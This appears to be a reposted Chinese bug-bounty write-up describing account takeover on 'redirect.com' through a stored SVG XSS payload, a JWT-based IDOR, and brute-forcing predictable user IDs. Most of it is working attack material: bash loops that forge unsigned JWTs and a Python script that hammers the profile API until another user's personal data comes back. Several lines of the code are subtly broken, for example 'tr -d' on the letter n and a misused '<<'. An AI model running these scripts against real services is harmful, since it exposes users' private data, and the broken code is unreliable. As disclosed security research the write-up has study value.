关注公众号,阅读优质好文。
在审查目标平台“redirect.com”的Web应用时,我发现它使用了JSON Web Token(JWT)进行身份验证,因此决定尝试进行账户接管(ATO)攻击。
首先,我创建了一个新账户并测试了其功能。在此过程中,我尝试在“firstName”字段输入XSS(跨站脚本攻击)payload,并填写了其他必要信息。
在Firefox浏览器中登录时,没有发现异常,误以为平台是安全的。然而,在Microsoft Edge浏览器中登录时,XSS payload成功弹出了警告框。
此时,漏洞属于反射型XSS,所有盲XSS尝试均失败。
在测试完所有功能后,我回到Burp Suite进行流量分析,发现了一个特定请求:
GET /profile HTTP/2
Host: api.redirect.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/plain, */*
Accept-Language: en-GB
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiQ3VzdG9tZXIiLCJ1c2VySWQiOiI2NDczM2MxMDM3NmFkMTZhODliZWMzOTUiLCJlbWFpbCI6Im1vaGFtZWRAZ21haWwuY29tIiwiZmlyc3ROYW1lIjoibDxzdmcgT25seT0xICBPbmxvYWQ9YWxlcnQoZG9jdW1lbnQuY29va2llKT4iLCJsYXN0TmFtZSI6Imw8c3ZnIE9ubHk9MSAgT25sb2FkPWFsZXJ0KGRvY3VtZW50LmNvb2tpZSk-IiwiY3JlYXRlVGltZSI6IjA1LzMwLzIwMjMgMDA6MTY6NTAiLCJyZWdpc3RlclRpbWUiOiIwNS8yOC8yMDIzIDExOjMzOjM2IiwiaGFzS2V5IjoidHJ1ZSIsIm5iZiI6MTY4NTQwNTgwMCwiZXhwIjoxNjg1NDkyMjAwLCJpYXQiOjE2ODU0MDU4MDB9.ADEzFqcfIQ7uDVXKLBHZStu3LQ9zog2Fd-yDWrYrklc
Origin: https://www.redirect.com
Referer: https://www.redirect.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
该应用使用JWT进行身份验证。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiQ3VzdG9tZXIiLCJ1c2VySWQiOiI2NDczM2MxMDM3NmFkMTZhODliZWMzOTUiLCJlbWFpbCI6Im1vaGFtZWRAZ21haWwuY29tIiwiZmlyc3ROYW1lIjoibDxzdmcgT25seT0xICBPbmxvYWQ9YWxlcnQoZG9jdW1lbnQuY29va2llKT4iLCJsYXN0TmFtZSI6Imw8c3ZnIE9ubHk9MSAgT25sb2FkPWFsZXJ0KGRvY3VtZW50LmNvb2tpZSk-IiwiY3JlYXRlVGltZSI6IjA1LzMwLzIwMjMgMDA6MTY6NTAiLCJyZWdpc3RlclRpbWUiOiIwNS8yOC8yMDIzIDExOjMzOjM2IiwiaGFzS2V5IjoidHJ1ZSIsIm5iZiI6MTY4NTQwNTgwMCwiZXhwIjoxNjg1NDkyMjAwLCJpYXQiOjE2ODU0MDU4MDB9.ADEzFqcfIQ7uDVXKLBHZStu3LQ9zog2Fd-yDWrYrklc
我解码JWT后,发现以下内容:
{
"alg": "HS256",
"typ": "JWT"
}
{
"type": "Customer",
"userId": "64733c10376ad16a89bec395",
"email": "[email protected]",
"firstName": "l<svg Only=1 Onload=alert(document.cookie)>",
"lastName": "l<svg Only=1 Onload=alert(document.cookie)>",
"createTime": "05/30/2023 00:16:50",
"registerTime": "05/28/2023 11:33:36",
"hasKey": "true",
"nbf": 1685405800,
"exp": 1685492200,
"iat": 1685405800
}
我尝试修改“type”为“Admin”或其他与权限相关的值,但未成功。
接着,我进行了IDOR攻击,发现了两个可以测试的参数:
"userId": "64733c10376ad16a89bec395"
"email": "[email protected]"
我首先测试了email参数,但未发现有用的信息。接下来,我修改了userId,并成功获取了其他用户的个人信息。
到此为止,该漏洞的严重程度被评定为中等,因为用户ID不容易获取。
在此之后,我尝试对API进行Fuzzing,但未发现有价值的信息。随后,我试图在评论区或个人资料中寻找数据,但由于网站没有这些功能,未能找到任何信息。我还尝试在JavaScript文件中搜索,但依然没有收获。
在分析用户ID时,我通过创建多个账户发现,用户ID中存在以下规律:
用户ID的前8位似乎是时间戳的十六进制表示,接下来的12位在每天似乎是固定的,而最后4位是随机的。基于这一规律,我计划进行暴力破解攻击。由于前8位是时间戳,我们可以通过创建新账户并观察生成的用户ID来确定中间12位。因此,暴力破解的关键在于确定用户ID的最后4位。
在前8位的时间戳中,前4位表示年份、月份和日期,后4位表示小时、分钟和秒数。
为了生成所有可能的时间戳后4位组合,可以使用以下脚本:
for ((i=0;i<=0xffff;i++))
do
hex=$(printf "%04x" $i)
echo $hex
done >> hex4.txt
接下来,我们可以在一天的开始创建一个账户,观察生成的用户ID,获取中间12位的固定值。为了获取最后4位的所有可能组合,可以使用类似的脚本生成所有4位十六进制组合,并将其与固定的12位拼接,生成所有可能的用户ID。
for ((i=0;i<=0xffff;i++))
do
hex=$(printf "%04x" $i)
echo $hex
done >> hex4.txt
生成所有可能的用户ID后,需要将其转换为JWT并验证有效性。可以使用以下脚本生成JWT:
for i in `cat hex4.txt`; do
for j in `cat hex4.txt`; do
echo '{"alg":"HS256","typ":"JWT"}' | base64 | tr -d '==' | tr -d 'n'
echo '.' | tr -d 'n'
echo '{"limit":2,"type":"Customer","userId":"'$i'5523e47052f150'$j'"}' | base64 | tr -d '==' | tr -d 'n'
echo '.'
done
done >> rahim_allah_alfataa_salah.txt
然后,使用以下Python代码验证JWT的有效性:
import requests
import time
url = "https://api.redirect.com/profile"
bearer_token_file = "rahim_allah_alfataa_salah.txt"
with open(bearer_token_file, "r") as f:
jwt_list = f.readlines()
for jwt_str in jwt_list:
jwt_token = jwt_str.strip()
headers = {"Authorization": f"Bearer {jwt_token}"}
response = requests.get(url, headers=headers)
if response.ok and response.status_code == 200:
response_data = response.json()
print("userid: " + response_data["items"]['id'])
在报告漏洞后,审核人员提供了一个时间戳30.05.2023,但仅提供了前5位。因此,我编写了代码生成2023年5月30日23:00到23:30之间的所有可能时间戳。
接下来,我使用以下代码对时间戳进行暴力破解,尝试最后 3 位数字(为了减少时间,我将其设置为 3 位):
start=6475d908
end=6475dFFF
for ((i=0x$start;i<=0x$end;i++))
do
printf "%xn" $i
done << timestamp.txt
对于最后4位十六进制数字,运行以下脚本生成所有可能的组合(为了减少时间,仅生成2位数字):
for i in {0..255}; do printf "%02Xn" $i; done >> jadak_alghaithu.txt;
将所有时间戳、固定12位和最后4位组合成JWT:
for i in `cat timestamp.txt`; do for j in `cat jadak_alghaithu.txt`; do echo '{"alg":"HS256","typ":"JWT"}' | base64 | tr -d '==' | tr -d 'n'; echo '.' | tr -d 'n' ; echo '{"limit":2,"type":"Customer","userId":"'$i'5523e47052f150'$j'"}' | base64 | tr -d '==' | tr -d 'n'; echo '.' ; done ; done >> brute_force.txt
最后,使用Python代码执行攻击:
import requests
import time
url = "https://api.redirect.com/profile"
bearer_token_file = "brute_force.txt"
with open(bearer_token_file, "r") as f:
jwt_list = f.readlines()
for jwt_str in jwt_list:
jwt_token = jwt_str.strip()
headers = {"Authorization": f"Bearer {jwt_token}"}
response = requests.get(url, headers=headers)
if response.ok and response.status_code == 200:
response_data = response.json()
print("userid: " + response_data["items"]['id'])
结果:
成功获取用户ID:
6475d9315523e47052f15098
我将其发送至Burp进行进一步验证:
数据如下:
{
"offset":0,
"limit":1,
"items":{
"id":"6475d9315523e47052f15098",
"lastLoggedAt":"2023–05–30T11:08:34.219Z",
"createdAt":"2023–05–30T11:08:33.493Z",
"dateOfBirth":null,
"gender":null,
"registerType":"email",
"addresses":[
],
"firstName":"test1",
"lastName":"test2",
"email":"**************@gmail.com",
"phone":null,
"state":"active",
"registerOrigin":"desktop",
"marketingAccepted":true,
"marketingAcceptedAt":"2023–05–30T11:08:33.493Z"
},
"size":1,
"success":true,
"message":null,
"statusCode":"ok"
}
原文始发于微信公众号(玲珑安全):通过JWT的IDOR实现账户接管
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论